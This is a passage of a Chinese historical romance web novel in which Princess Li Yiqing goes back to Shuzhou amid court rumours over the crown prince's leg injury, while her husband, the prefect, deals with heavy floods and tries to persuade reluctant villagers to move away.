李意清听着皇后的叹息。
“有时候我真希望，你的皇兄不是储君，不必当未来的君主，不必年纪轻轻就将自己逼成这副模样，劳累成疾。”
李意清：“可是皇兄乐在其中。母后，这些话我只和你说——皇兄为人正直善良，为君也能博爱宽厚，他所思所想，为国为民，大庆的子民，也需要这样德贤兼备的君主。”
稍顿，她讲完了自己的后半段话。
“我从不觉得若是肢体受损就不配站在九五至尊的位置上，即便皇兄再不能行走。”
皇后连忙捂住了她的嘴唇。
“这些话在我面前说说就算了，可千万别在别人的面前提起此事。”
李意清眨了眨眼，示意自己明白这个道理。
只是她的内心深处，是不认可一直以来的做法的。
凭什么身体健全的残暴之人可以比德贤兼备的受损之人更适合那个位置。
皇后道：“身体受损之人不能为大庆国君，这是传下来的规矩。你这番话要是被外面那些个大臣听到了，指不定怎么弹劾你呢。”
李意清：“弹劾就弹劾，我受的弹劾还少吗？周太傅写的折子都厚厚一沓，现在他肯定不管我，说不定还少些。”
皇后无可奈何地笑。
“本以为你成婚之后安静稳重了，现在看来，一点都没变。”
李意清任皇后的指尖落在自己的头顶上。
若是旁人，她或许还会辩上一辩。
这世间万事万物都处在变化之中，先人当初做出的决定，就一定是正确的吗？
李意清只敢在心中说。
如果她直接说出声，皇后势必会担心她。
有一些事情自己心知肚明即可，不必再让长辈为之担心，这是李意清很早就发现的。
她的安静果然让皇后安心许多。
傍晚时分，李意清才离开坤宁宫。
离开宫门的刹那，李意清转头朝身后望去。傍晚的余晖温暖而遥远，金色的阳光透过稀疏的晚霞，洒落在方正、长长的琉璃瓦上，每一片瓦都像是镀上了一层金辉。
屋顶的飞檐翘脚，滴水兽的庄重大气，都在日光中变得古朴而遥远，不可捉摸。
公主府前来接李意清的马车早早等候在宫门之外，车夫见李意清若有所思地望着朱红色的宫墙发呆，走到她身边问道：“殿下，你在看什么？”
李意清视线落在笔直的宫墙之上。
“那里，之前有一簇蔷薇花，从里面的院子攀过来，郁郁葱葱……”李意清比划着回忆，转头看见车夫迷茫的眼神，改口道：“没什么。回去吧。”
车夫连连点头，将马车上的搭脚拿了下来，扶着李意清坐上马车。
记忆中威严的皇宫随着车轮滚滚变得越来越小，距离越来越远。
李意清最后看了一眼皇宫，伸手将帘子放下，长久沉默。
145. 蔷薇花
李意清按照太子殿下的嘱咐，并没有在京城久留。
去完皇宫的第三天，李意清收拾好东西，重新坐上了回舒州府的马车。
城外留别亭中，太子妃牵着安儿遥遥相送。
安儿已经三岁多了，口齿伶俐，是一个人见人爱的孩子。
他梳着整齐的头发，穿着靛蓝色的布衫，看起来像是太子的缩小版。
看到李意清，他显然已经不记得这个人了，只有些茫然地攥紧太子妃的手。
太子妃蹲下来，“安儿，那是姑姑，你父亲的亲生妹妹。”
安儿这才露出一个腼腆的笑：“姑姑安好。”
李意清看安儿，忽然有些恍惚。
原来不知不觉已经三年过去。
李意清微微俯身，平视着小小的孩童，脸上笑意盈盈：“安儿也安好。”
安儿有些害羞地躲到了太子妃的身后。
太子妃任安儿攥紧她的衣袂，转而对李意清道：“你皇兄在黔东南办差，我代他来送你，他虽然不在，但是心中还是记挂你的。此去舒州，多多保重。”
李意清迎风而笑：“我知道。等兄长回来，请传信到舒州报一声平安，我和伯怀心中都记挂他。”
太子妃也听懂了李意清的言外之意，点了点头：“你放心。”
两人在留别亭作别。
李意清和毓心两人轻装简行，带上一个车夫，顺着官道向南走去。
永昌河水面波光粼粼，倒映着天空绚烂的云霞和城墙剪影。觅食的鸟雀快速地掠过河面，轻触间留下一连串的涟漪。
太阳越升越高，原先缭绕在城外农田上的薄雾在暖阳中消散，远山轮廓依稀可见。
农田错落，阡陌交通。
时值三月，已经有农户身着粗布衣裳，踩着草鞋，背着锄头前去秧苗田里，越往南走，这样的景象越来越普遍。
经过庐州的时候，正好是三月二十三。
三日前的春闱序幕，消息陆陆续续传到了庐州城。
李意清和毓心、车夫三人随意找了间面馆，邻桌的食客交谈的声音传了过来。
“听说了吗？太子殿下这次前去黔西南平定边乱，剿灭匪徒，腿脚不甚受伤。”
另一个食客也道：“我亦听说了这件事，太子殿下那么好一个人，怎么偏偏摊上了这件事。我听我家亲戚说，太子殿下这伤严重，甚至有可能会影响日后行走。”
此言一出，立刻引来一片唏嘘。
“这可真是……”
“不过，”原先说话的那名食客压低了声音，“我家娘子的表亲哥哥的岳丈大人在京城做官，他说太子这腿伤并非是剿匪所得……而是……”
他没有往后说，可是在场的几人都懂了他的意思。
顺成帝一年比一年年迈，太子已经监国三年，如果再这样下去，以后皇位只会顺理成章传给太子，其他皇子根本没有一点机会。
桌上的另一人道：“你们觉得，是谁出的手？”
“三皇子早夭，四皇子不受宠，不在宫中长大，五皇子虽然母族家世显赫，但是毕竟还是一个稚子……若我说，八成是那个二皇子。”
“不能吧，就二皇子那风评，谁能信啊？”
“你们还真别说，说不定二皇子原先浪荡的模样都是装出来的。先让太子放松警惕，然后再在背后插上一刀……”
那人说的有鼻子有眼，其余几人闻言，也都点了点头。
历朝历代，都不乏表面上与世无争，实际上蓄谋已久的皇子夺权。
二皇子李行渊说不定就是这样，剑走偏锋。
最开始的食客道：“若真是二皇子所作所为，那可真是让人伤心，太子殿下除了最疼爱於光公主，其次就是二皇子了。”
“皇家嘛，自古无情。”
……
三个食客吃完，找面馆老板结账。
李意清缓缓吐出一口气。
这已经是第二次听到太子腿伤的罪魁祸首是二皇子的言论了。
毓心看着李意清一筷子没动的碗，轻轻推了推李意清的胳膊，小声道：“殿下。”
李意清回过神，朝毓心露出一个笑。
“我没事。”
她埋头吃着面，让人看不清她的神情。
吃完后，三人重新上路。
庐州城离舒州已经近了，三人趁夜上路，第二日傍晚到了舒州城外。
和去年来时一样，舒州城外的村庄已经开始春忙。
李意清坐在马车上掀开帘子朝外四处打量，隐隐约约看见有一道蓝色的身影等候在府城外。
是元辞章。
马车近了，李意清才跳下马车，顺理成章地被他抱在怀中。
“你怎么知道我今天回来？”
元辞章将她打横抱起来，手不愧是习武和练字的手，稳稳当当地托住了她。
“猜的，”元辞章眸色浅淡，带着轻轻的笑意，“还好，等到了。”
李意清纠正道：“是我们心有灵犀。”
元辞章笑着点头。
走过青石地板，再往里走，人就多了起来。
李意清拍了拍元辞章的肩膀，小声道：“你先放我下来。”
元辞章反问：“你这一路走来，不累吗？”
自然是累的。
李意清犹豫了一刻，小幅度地点头。
“累。”
元辞章：“那我抱夫人回去吧。”
李意清：“那怎么可以？路上这么多人，被别人看到了多不好。”
元辞章低低地笑出声，嗓音清越：“夫人是不好意思了吗？”
“才没有！”李意清伸手搂紧了元辞章的脖颈，将脑袋埋在他的怀中，“就这样吧，我睡了。”
说完，李意清就像是装死的鸵鸟一样，一动不动。
从舒州府城门到梨花弄堂，元辞章始终保持着差不多的速度，稳稳当当。
李意清倚靠在他的胸膛前，听着他一声接着一声，坚实而有力的心跳。
等进了院子，李意清才从元辞章的怀里跳出来。
此刻已经是满天星斗。
元辞章垂眸看了一眼自己空荡荡的臂弯，嘴角不经意地抿平了些许，轻声问道：“可要喝些水？”
李意清点了点头。
元辞章“嗯”了一声，转身进去倒水。
毓心一路走来跟在后面，见元辞章进屋倒水，给李意清比了一个大拇指。
“殿下，驸马体力可真好。”
一路上不急不慢，呼吸均匀，这就是读书人的体力吗？
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>驸马究竟是在书斋看书还是举书呢。
李意清不知道想到了什么，耳尖忽然漫上了一层绯红。
确实。
两人说话间，元辞章已经端了茶水出来。
毓心没想到还有自己的份，有些受宠若惊的接过茶杯。
舒州府夜晚凉风习习，李意清小口抿着温热的茶水，一边看着漫天的繁星。
夜空中的星点闪烁，伴随着蛙叫声、虫鸣声，偶尔传来几声犬吠。
热闹又安静。
李意清晃着腿，视线落在元辞章的身上。
元辞章：“看什么？”
“看你，”李意清实话实说，“从前不知‘此心安处是吾乡’，现在方知，此言不假。”
因为你。
元辞章的睫毛微微一颤。
毓心看着两人难得的温情时刻，默默端着茶杯进屋，将院子留给两人。
李意清将茶杯中最后一点水喝干净，然后随手放在桌上，朝着元辞章张开双手。
“抱抱我。”
元辞章将她搂在怀中，让李意清坐在自己的腿上。
“夫人辛苦了。”
李意清点点头，又摇了摇头，有一下没一下地在他的掌心画着圈。
“还好，皇兄的腿伤在慢慢愈合，我亲眼看过，终于能放下心。”
元辞章微微沉吟。
李意清看着元辞章的神色，问道：“怎么了？”
元辞章迟疑了一瞬间，才轻声道：“太子的消息，舒州也略有耳闻……可是按照我与你通信的时间，从京城传来，至少半个月余。”
“你前几天就知道了这件事？”
元辞章微微颔首：“是。”
李意清愣了一瞬。
这件事从头到尾都透露着有预谋的气息。事情发生之后，立刻就有人将知道消息的人安插在不同的地方，等待春闱这个时间，再一致将消息散播出去。
就连舒州府，都有不少文人学子联名上书，体残者不可为一国之君。
李意清忘了手上的动作，目光灼灼地看着他：“如果顺着这条线往后查，是否能查到蛛丝马迹？”
“……”元辞章默了一瞬，朝她点了点头，“我尽力。”
这件事很难，可是李意清已经提了出来，他都会尽力尝试。
对李意清而言，元辞章答应她的事情，比公文还要有信誉。
“谢谢你，元辞章。”
元辞章眸光温柔：“你我夫妻，夫妻之间，不必言谢。”
他说的坦然。
李意清再一次在心底感慨：还好是他，幸好是他。
院墙边上，茴香撒的美人蕉种子已经透出嫩绿色的芽尖。李意清指着墙角边上，小声道：“等我们空闲下来，将院墙根上种一些蔷薇花好不好？”
元辞章还没有说话，她又兀自摇了摇头。
“两年之后，你又会接到新的调令。短短两年时间，怎么能看到花团锦簇？”
元辞章：“种一些吧。”
“可是……”李意清抬头看向他的下颌线，看见他的眼神，败下阵来，“好，那就种一些。”
或许经年之后，重新回到这一方小院的时候，顺着长着青苔的青石板路一路朝里走，看见繁花盛开的那一块，就是家。
146. 伤雨
舒州府。
歇了两天，第三日一早，李意清缓过神来，换上衣裳去了府衙。
一路走过烟火气十足的街巷后，李意清停在了府衙的门口。
府衙门口两个府兵双手交叠，在门口小声地交谈：“你听说了吗？太子和二皇子那件事？”
另外一个府兵点了点头，“哪能没听说啊。二皇子把这件事闹得沸沸扬扬，圣上都知道了。”
他们的话语之间涉及太子皇兄和二皇子，李意清停下了脚步。
旁边的府兵和这位知州大人请来的师爷已经熟识，见到李意清时隔快两个月再次出现，有些惊讶。
“你可算回来了。两个月不见，还怪想你的。”
除了李意清，谁还和他们这些府兵打招呼。
“家中有事，”李意清解释了一句，接着提到他们刚才提到的话题，“你们方才说太子和二皇子，是发生了什么事？”
头一个说话的府兵道：“就是这几天发生的事情，太子殿下的腿伤一经传开，原先朝中不满太子的朝臣纷纷上书，请圣上更改立储人选。远在漳地的二皇子听说了这个消息之后，二话不说在自己的脸上划了一道痕。”
李意清愣在了原地。
“听说那血痕从额头连到下巴，模糊一片，血流不止，请了好几个医师，才止住了流淌的血，可脸上的疤痕却是无论如何也消除不了。”
旁边的府兵道：“皇家的事情，我们又哪里猜得透。”
李意清很快将自己脸上失神的表情收拾好，朝两人微微点头，缓缓抬步走进了存放档案的库房。
直到坐下，李意清还有些云里雾里。
手上的卷轴案宗一个字也没有看进去。
有主簿过来办事，来时看见李意清抱着书一动不动，走的时候还是那一页，主动提醒了一句。
李意清连忙道谢。
主簿摆了摆手：“你看着精神不太好，怎么不在家多休养些日子，知州大人说你家里有事，怎么，还没有处理好吗？”
李意清：“处理好了，只是结果，多少让人有些不满意。”
主簿似乎深有同感，长长地叹息：“人生在世，十之八九都是不尽人如意的，哪能事事十全十美呢。”
李意清看着他布满褶皱的脸庞，一双眼眸写尽风霜。
“多谢主簿开导。”
“哪里算得上什么开导，”主簿不以为意地摆了摆手，“不过一些过来人的经验之谈。你现在还年轻，等到了年纪，自然都会懂得。”
主簿说完，和李意清作揖告别。
李意清坐在原位，默了一刻，安静地拿起一卷卷宗细细翻看。
到了午时，腹中的饥饿感传来，李意清伸了一个懒腰，放下手中的书卷，拿起她带过来的《童蒙启智录》。
从前编书，都是周太傅说一点她跟着做一点，基本不需要自己动脑，可是今日起，她需要独当一面，自己完成一本书的编撰。
参考了序章的攥写后，李意清简要将自己的想法誊写在自己的纸上，准备带回去问过元辞章后，再慢慢完善。
正写着，安静的库房忽然响起一道脚步声。
李意清顺着脚步抬头看去，见到元辞章一手拎着食盒，缓缓朝她走近。
“你怎么来了？”
“听府衙衙役说你今日来了，担心你一忙起来又忘记吃饭，给你送来了。”元辞章将食盒放在桌上，目光从桌上的《童蒙启智录》上缓缓扫过，然后坐在她的对面，“书稍后整理，先吃饭吧。”
李意清从善如流地点点头，打开食盒，浓郁的饭菜香味扑鼻而来。
元辞章道：“午饭是府衙新来的张嬷嬷做的，有肉烧毛豆、腌春笋和豆干肚丝，你尝尝看合不合胃口。”
李意清原先还担心在库房吃饭会影响不好，可是香味袭来，她将心中默念的“罪过”抛到脑后，端起白米饭配上沾满浓汤的腌春笋，一口下去，大为满足。
配的汤是新鲜的小青菜，掺着用糯米粉揉过的、拇指大小的肉丸，用料简单，鲜香十足。
李意清吃到一半，才想起来问元辞章：“你吃过了吗？”
元辞章颔首。
“我在膳堂吃过了……够吗？”
“够了,”李意清咽下口中的饭，“你见了这位新来的张嬷嬷，记得帮我带一句话。她的手艺真好，我很喜欢吃。”
元辞章“嗯”了一声。
等李意清吃完饭，元辞章主动收拾碗筷。
最后一个碟子被收入食盒，元辞章静了一瞬，转头看向一顿饭就舒服得眯起眼睛的李意清。
“对了，这几日……”
“我知道，”李意清打断了他，“二皇子的事情，我已经知道了。”
元辞章看着她故作轻松的模样。
李意清：“人生在世，哪能事事顺心如意。再者，他们两位都是我的兄长，哪里轮得到我来操心他们的选择。”
元辞章蹲在她的面前，抬眸与她对视。
李意清坦坦荡荡。
见李意清的眼中平静安宁，并没有强撑着的意味，元辞章才淡淡移开视线。
他已经极力克制，李意清却还是体会到了那一瞬间的温柔与缱绻。
元辞章过了午休的时辰，还需要回去当值，不能久留。
他走到门口，忽然朝李意清露出一个春风掠过山岗一般的笑，清浅而惊艳。
他说：“不愧是我的殿下。”
说完，他抬步离开了库房的门。
李意清一刹那心跳声如擂鼓。
库房常年安静，有且仅有风吹拂过书页翻动的声音。
在书页的摩挲声中，她的心跳声剧烈而激动，甚至微微耳鸣。
这是他叫习惯“夫人”之后，少有的称呼她为“殿下”。
李意清伸手捂住了自己的脸庞，暮春初雨的微凉寒意被脸上的蕴热取代，连带着身上都变得滚烫炙热。
她再一次无比清晰地感知到——
元辞章，比她自己，还要相信她能够做好。
*
太子腿伤一事随着二皇子当众划破自己的脸庞结束。
除了对血脉至亲而言难以接受，满朝文武和平头百姓只觉得自己看了一个热闹，一个既是皇家丑闻、又略显义薄云天、壮丽凄美的故事。
在众人的茶余饭后的笑谈中走入尾声。
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顺成帝被二皇子草率的举动气得不行，连夜下了三封诏书，可是顾及着他脸上的伤疤，还是撤回骂得最狠的第一本。
二皇子的举动，在彻底断绝自己继位可能性的同时，也用鲜血淋漓展示皇家继位的残忍。
太子的腿伤也不禁让人想入非非。
皇宫中差点掀起的一场惊涛骇浪，被顺成帝以一种不容置疑的手段强势镇压。
而身处舒州这片桃源净土的李意清两耳不闻窗外事，专心编纂着自己的案卷书册。
到了六月，舒州也就到了雨季。
早晨出来的时候尚且晴空万里，可是晚上就能倾盆大雨轰然落下，冲刷着白墙灰瓦，落在府衙外种植的芭蕉叶上，劈里啪啦。
外面的天色昏沉，李意清点的烛火在风中摇摇晃晃。
一道惊雷猛然落下，璀璨的白光乍然间划破夜空。
埋头写字的李意清也被这道雷吓了一跳，她站起身，朝窗外看去。
瓢泼大雨已经不足以形容外面这番景象。眼前的世界灰暗而浓烈，仿佛谁人将延绵不绝的瀑布移到了眼前，砸落的水花溅落在青石板上，散落的水花打湿了整块台阶。
风一会儿北吹，一会儿东吹，雨水顺着风向偏移，四处一片潮湿。
有衙役抱着头小跑到李意清的身边，尽管他已经小心再小心，身上的袖袍、衣摆还是湿了一大片。
走到屋檐内，他一边哈气一边跺脚道：“这位师爷，外面有小厮说是来找你的。”
李意清回到座位上拿了一件放在椅子后面的外衫递给他，而后询问道：“叫什么名字？”
衙役先是道了一声谢，而后一边擦着身上的水，一边小声回忆道：“说是叫……叫洛石。”
“劳烦你走这一趟。”李意清朝他笑了笑，抬头看着外面的雨势，“舒州年年夏天，都会这般大的雨吗？”
衙役思考了一会儿，点了点头，又摇头道：“也不是年年这般大雨，去年就还不错。前年江南数州都遭了水患，时好时不好的。”
前年的江南数州的水患，李意清还有印象。
元辞章跟着一道南下，九月方归。后来元辞章主动邀请她去书房，她也在书房看到了元辞章的南下随笔。
衙役见李意清若有所思的模样，紧接着补充道：“不过像是今年这般大的雨水，我也见的不多，若是这几日停不了，怕是刚下地的秧苗都保不住。”
李意清闻言，心中忽然不是滋味，低声叹息：“水患一来，良田受损，可真是难熬。”
“师爷不是舒州本地人吧。”衙役咧出一个笑容来，搓了搓自己被雨水吹得发红的耳尖，“一年年的，都这么过来了。日子虽然苦一点，也能过得下去。”
甚至有时候会在一个好年的时候庆幸，活在了一个好时候。
过得下去。
李意清在心底轻轻咀嚼着衙役口中的这四个字。
这样就够了吗？
她在心底一遍遍轻声询问自己。
可是无论多少次，她自己心目中的答案都是不够，远远不够。
过得下去怎么行，还要过得好。
这才是她夙寐以求的愿望啊。
147. 暴雨缱绻
衙役避了一会儿雨，转头对李意清道：“师爷，既然家里人已经来接了，快些离开吧。看样子一时半会儿停不了。舒州的排水有限，现在走还好，若是再晚些时候，就得‘游’回去了。”
这里衙役小小的夸张了一下，游尚且不至于，但是淌着水回去跑不了。
衙役被自己逗笑，咧开嘴笑了一下，发觉这样不妥，连忙收敛了自己的嘴角。
他还有事在身，补充了一句：“雨水能冲出来不少脏东西，死鸡死鸭事小，若是混着长虫，那可就棘手了。”
长虫蛰伏在水里面，在外看来浑浊一片，什么也看不清。被咬上一口，人甚至发现不了。
他说完，双手护住自己的脑门，顺着斜雨纷飞的屋檐一路跑远。
李意清简单回到库房收拾了一番，将东西摆放整齐后，靠着房屋一侧小心地挪动。
再三小心，裙角还是沾染了水痕。
李意清擦了脚踝上的水，看见混在来接官员的各家小厮中的洛石。
洛石挤了出来，怀中抱着两把油纸伞。
“现在雨这么大，站在廊下稍等片刻吧。”李意清望了一眼外面的雨水，对洛石道。
洛石点头，安静地等候在李意清的身边。
等雨势减弱些许，不少人都随着自家的小厮离开。
李意清拿了一把油纸伞，“元辞章和许三今天走得急，不一定记得带着雨伞，这把你去看看能不能送进去。”
“哎。”洛石应了声，抱着伞往里钻去。
过了片刻，洛石才重新出来，对李意清道：“没有见到……知州，说是舒州雨势太大，知州和通判在商议如何应对这次来势汹汹的雨水。现在抽不出时间。”
“不过我碰到了守在外面的许三，将伞转交给了他。”洛石又补充了一句。
李意清轻轻点头。
去年的油纸伞被雨水冲烂后，家中换了两把大伞。
回到家中后，毓心和茴香已经准备好了沐浴用的热水。
李意清沐浴完毕，换上一件宽松的衣裳，坐在屋内的窗边。
新种下的蔷薇叶苗在风雨中颤颤巍巍，隔壁院子传来清脆的雨打芭蕉声。
茴香不喜欢这样潮湿阴冷的天气，帮李意清绞干头发后就有些无所事事地坐在她的身边晃着脚。
“殿下，前两日我在前面的院子中看到了上好的紫茉莉。听说他们都会采下来泡水沐浴，可以让肌肤变得润滑，我改天也帮殿下采一些吧。”
她一边说，一边伸手去接外面的水。
冰凉的水落入她的掌心，她忍不住惊呼一声：“好凉！”
水声哗啦，毓心端着一叠炒好的干果和瓜子放在临窗的小几上，听到茴香的声音，笑着道：“现在这么大的雨，估计雨停后你再去看，只剩下一地的落花。”
“肯定会有还在枝子上的。”茴香立刻反驳了一句，然后转而去看外面的雨水，原先的笃定立刻变得有点摸不准，“也许，也许……不，我还是相信有花在枝头。毕竟这么多年都过来了。”
说完，她抱着李意清的胳膊轻轻摇了摇：“殿下你说呢？”
李意清抬眸朝窗外看去，密密麻麻的雨点从昏沉的云层降落，因为积蓄着雨水的原因，低压的云层仿佛触手可及。
“是啊。”李意清随意伸手拿了一枚炒熟的瓜子，“这么多年都过来了，总会有些花苞留在树上，以待来年。”
毓心见李意清喜欢，主动在旁边承担起来剥瓜子的重任。
茴香一脸崇拜地看向李意清：“殿下，我觉得现在不管你说什么，我都觉得好有道理。”
李意清哑然失笑。
“我倒是不觉得，更多的时候，还是茴香一语中的，让人惊艳，我不过稍加润色。”
茴香闻言，凑近了笑眯眯地问道：“殿下，你是在夸我吗？”
李意清伸手揉了揉她到了舒州后愈发圆润的脸庞，笑意盈盈地回应：“是啊。”
大约过了半个时辰，雨水才渐渐减小。
李意清就着雨水入眠，等到转醒的时候，元辞章已经从府衙回来。
元辞章已经沐浴洗漱，换了一声霜蓝色的广袖长袍，一只手捧着书册，另一只手提着毛笔，落笔利索而干净。
墨发散开披在脑后，微微有些湿润，不知道是淋到的雨水还是回来后洗的头发。
元辞章写字的时候极其认真，李意清醒来之后，不动声色地调转了一个方向，倚靠在软枕上看着他落笔。
身姿清峻而并不瘦弱，鼻梁挺拔，面容隽雅。
人中之兰的称号，名副其实。
李意清最爱看他专心做事的模样，薄唇微抿，眼神专注，自带一股胸有成竹的底气。
就像是一块可遇而不可求的玉石，干净纯澈，而又珍贵不可近前。
李意清打了一个哈欠，小小的呼气声落入元辞章的耳中。
元辞章放下手中的书册，走到床边坐下，“醒了？”
李意清顺势装作自己刚醒的模样，迷迷糊糊地点了点头。
元辞章像是被她可爱到了，微微转过身侧过头去勾起了嘴角。
李意清故意问道：“你笑我是不是？”
元辞章轻咳了一声，正色道：“没有。”
李意清：“就是有，我都看见了。元辞章，你再笑一下嘛。你笑的那么好看……”
她话音未落，忽然感觉到一阵天旋地转。
回过神的时候，元辞章已经伸手扣住了她的手腕，看着只是虚虚的环着一圈，却很难挣脱地开。
好在，李意清也没想过要挣脱。
只是元辞章头发落到她的耳边，轻轻蹭着她的耳廓，传来轻微的痒意。
元辞章压住了她的手，身体却靠着自己的核心力量支撑着，离她还有一寸左右的距离。
正因如此，李意清并不觉得压迫。
元辞章微微俯身，将脑袋埋在李意清的脖颈处，呼吸的热流落在她的肩颈，痒痒的，酥酥麻麻的。
李意清察觉到元辞章情绪不对劲，轻轻转头，用自己的脑袋蹭了蹭他的。
“怎么啦？舒州的雨水……？”
元辞章“嗯”了一声。
前年他就已经来过此地访查，因此
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比旁人更明白其中的厉害。
短期来看，雨势影响庄稼收成，更长远看，不少往年修建的房屋都草率简单，根本抵挡不住这般迅猛的雨势。一旦房屋倾塌，多少人将会流离失所。
等雨后，如何重建也是一大难题。西北对峙紧张，朝廷的拨银本就不多，舒州受灾后讨要赈灾银钱，也颇为不易。
李意清静静听着他的心跳声。
她想了想，凑近元辞章的耳边，“我封地还有一些银钱，若是不够，大可先拿去垫用。”
元辞章：“嗯？”
“真的不多了，”李意清道，“以前对银钱没有概念，随手将金银玉石送给小时候玩得好的几位世家公子小姐，后来的钱都拿去城南书院，现在账上的银钱真的不多了。”
元辞章微微抬起头，直视着她的目光。
“我若是不能从户部手中要来银钱，就是我的无用，哪能事事都让自己的夫人抗。”
李意清道：“反正我现在能吃饱穿暖，仁清堂收益不错，若是遣散公主府的奴仆，养你绰绰有余。”
这句话，她说的颇为自得。
元辞章弯了弯嘴角，声音轻和：“我知道。”
李意清试着移动自己的手，发现不能动弹后，另辟蹊径，用自己的额头贴着元辞章的侧脸。
“元辞章，以后有任何事，都可以和我说。但凡我可以帮得上忙的，我一定尽全力。”
元辞章心尖微微一颤。
他翻身坐在床边，扶着李意清坐好。
窗外已经一片漆黑，混着淅淅沥沥的雨声，清幽静谧。
毓心谨慎地站在寝屋门外轻轻敲动，“……殿下，驸马，晚饭准备好了。”
李意清站起身，回了一声“就来”后，转头看向坐在床边的元辞章。
方才拉扯之间，元辞章的衣衫松散大半，质地丝滑的长袍微微敞开，露出里面紧实温润的胸肌以及修长劲瘦的腰身。
尽管已经见过不止一次，可是乍然看到李意清还是快速移开了脑袋。
她有些口干舌燥，结结巴巴地道：“你，你快穿好衣服，这样衣裳不整，可非君子所为。”
元辞章看着她通红如血的耳坠，极轻地笑了一声，从善如流道：“那殿下教教在下。”
李意清：“教你什么？”
元辞章神色镇定，语气沉静，仿佛在和同僚讲着什么重要的政令。
“你每次都系的那么紧，你帮我系，或者教……”
李意清伸手捂住了元辞章的唇。
元辞章眨了眨眼眸，如鸦羽一般的眼睫毛投下一小片扇形阴影。眼神从容又无辜。
他看着李意清，眼神仿佛在说：我说的难道不对吗？
这样昳丽的元辞章，任谁看了，都不敢直视。
李意清在心中默念。
她移开视线，却不敢松开捂住元辞章嘴的手，生怕一不留神，他又说出什么惊世骇俗之语。
“你快些穿好衣服，我先出去了。”
李意清快速说完，头也不回地朝外跑去。
身后，隐约可以听见从容的轻笑。
148. 章河渡
雨一连下了半个月，才堪堪停下。
舒州外的大小湖泊积满了水，供来往农户行走的田埂已经被淹没，只能看见一片又一片的水塘。
元辞章对这样的局面早有推测，雨势开始的减弱的时候，就开始带着府衙大大小小的官员分散到不同的县里、村里疏散人群。
有不少人跟着离开，到府城落脚暂避，更多的则是在家中抱着门槛嚎啕大哭，诉说着自己的不易。
许三数次想要放弃，可元辞章始终情绪稳定，安静地听着一句又一句抱怨。
有时候，许三都忍不住佩服自家公子的好脾气。
府城容纳有限，后面还有更多的村子需要去看，劝了半个时辰无果，就会转移到下一家。
天黑的时候，元辞章一行人走完了一个村庄。
村庄二十余户，以章姓居多，别名章河渡。
章河渡靠近潜山，四面环山，一条河流流经此地，村民世世代代生活于此，日出而作，日落而息。
乍然听到要先拖家带口搬去府城安置，躲过雨季，纷纷摇头。
章河渡一个上了年纪、有些威望的人站出来道：“知州大人，这块土地是祖宗留下的，年年都是这么大的雨，哪能遇到雨就移开呢。”
元辞章朝他望了一眼，说话的人是章河渡章家的叔公，按辈分算，算是章河渡众人的长辈，说话也有分量。
章家叔公说话带着口音，众人愣了一瞬，才反应过来他说的什么。
“大伯，不是搬走，就是躲过这一阵子。”闻言，身后众人经过这几天的学习，立刻比划道，“等大雨过去，还能回来。”
有人扯着嗓子喊了一句：“就是等雨停了，大家还能回来。”
章河渡的众人闻言，纷纷交头接耳小声议论，元辞章看见人群中年轻一辈有些心动，可是长辈摇着头。
章家叔公拄着拐杖，重重地摇头：“不能走的，外面的庄稼，还得有人看着。”
元辞章的身后立刻有人道：“外面……”
外面的田地都被淹了，就算现在留下来，又能改变些什么。
他的话并没有说出来，他看见了知州微微抬起的手。
那是制止的意思。
章家叔公眼窝已经陷了下去，他望着外面的“汪洋大海”，深深地叹息。
田里的庄稼长得不如杂草高，现在一眼望过去，只能看见几根嚣张、高高挺立的野草。
元辞章随他的视线望去，估算了时辰，带领身后一众人告辞道：“今日天色已晚，若是叔公、大家意见有变，随时可以来府衙。”
章河渡的村民们面面相觑，点了点头。
元辞章最后一个走出天井小楼，临走之前，朝章河渡长辈们身后的小辈看了一眼。
章河渡的小辈欲言又止地看着元辞章，却因为畏惧亲长，只能默默目送他们离开。
元辞章一行人走到了章河渡进村唯一的路口，准备一一在附近县城的脚店歇息，忽然听到身后传来一阵呼声。
“知州大人，知州大人请留步！”
一个年纪看着不大，穿着灰褐色短褂的青年跑了过来，他动作生疏了朝元辞章拱了拱手：“祖父他老了，很多时候古板得很，其实章河渡很多房屋都已经老化，若是可以，还请知州大人再劝上一劝。”
许三站在元辞章的身边，闻言道：“已经劝了又劝，是真的劝不动啊。”
青年有些窘迫地看着元辞章。
元辞章伸手搭在许三的肩膀上，示意他不必争辩。
“你放心，雨季结束之前，百姓的性命才是重中之重。”元辞章微微沉吟，“只是我们再怎么劝说，也终究是外人。你们身为子女儿孙，更应该晓之以情。不是吗？”
青年站在原地。
许三直白道：“公子，你讲的这么文邹邹，人家怎么听得懂……这位小兄弟，来来来，知州大人的意思是……”
在许三绘声绘色的讲解下，青年明白了元辞章的意思。
“你们在家中劝说，我们再讲一讲，这样一来……”许三一拍掌心，旋即分开，“说不定啊，这件事能成。”
“我明白了，”青年点了点头，脑门上满是一路热出来的汗水，他用自己破了的袖子在脸上擦了一把，朝元辞章道，“知州大人放心，我一定好生劝解。”
元辞章朝他点点头，“现在时辰已经不早了，你走夜路记得小心。”
青年拍着胸膛，“这条路我都走了十几年了，闭着眼睛都能回去。”
元辞章目送青年离开后，和许三一道进了县城歇息的脚店。
村子中的水深一脚浅一脚，衣衫的下摆若不系起来，便会淌在水里。
一天过去，饶是元辞章尽力注意自己的衣冠整洁，也不免有些狼狈。
许三看着元辞章灌满水的鞋履，有些心疼，“公子，要不明日出行我背你算了。”
元辞章淡淡看了他一眼。
许三缩了缩脖子，吐了吐舌头，转头不再说话。
他是真的心疼元辞章。
可是不用脑子想也知道，元辞章怎么会愿意。
许三换下自己的衣衫，随意问脚店老板要了一件褂子，披在身上。
褂子是短袖，穿在身上，露出精壮的胳膊。
脚店老板见这布衫穿在他身上妥帖后，笑眯眯地问道：“我见你和另一位郎君同行，可要顺手帮他带上一件。”
帮元辞章带一件？
元辞章穿短褂？
许三在心底想了想，却怎么也想象不出来一身绯红色官袍，衣冠整齐的元辞章穿着短褂会是什么模样。
不过脚店老板一番好心，许三还是向他许诺道：“我先去问问公子的意思。”
脚店老板连连点头：“要的，要的。”
六月炎热，许三一开始还有些不适应，后来渐渐品出滋味，觉得这样又凉快轻巧的好处后，蹦跳着走到元辞章的房中。
“公子，你要不要穿这样的短褂，脚店老板说还有一件。”许三嗓门洪亮，即便是站在门外，也能听得一清二楚。
元辞章正在解衣服扣子，闻言，停下了手上的动作，转头看向他。
许三叉着腰，生怕元辞章看不清衣裳的细节。
元辞章欲言又止。
许三难得一见自家公子这副神情，立刻道：“公子，试试吧，怪凉快的！”
元辞章还没有说话，他忽然道：“而且，反正殿下又不在这里，又看不见……”
元辞章站起身，在他脑门轻叩一下。
不疼。但是许三还是故意“哎哟”一声。
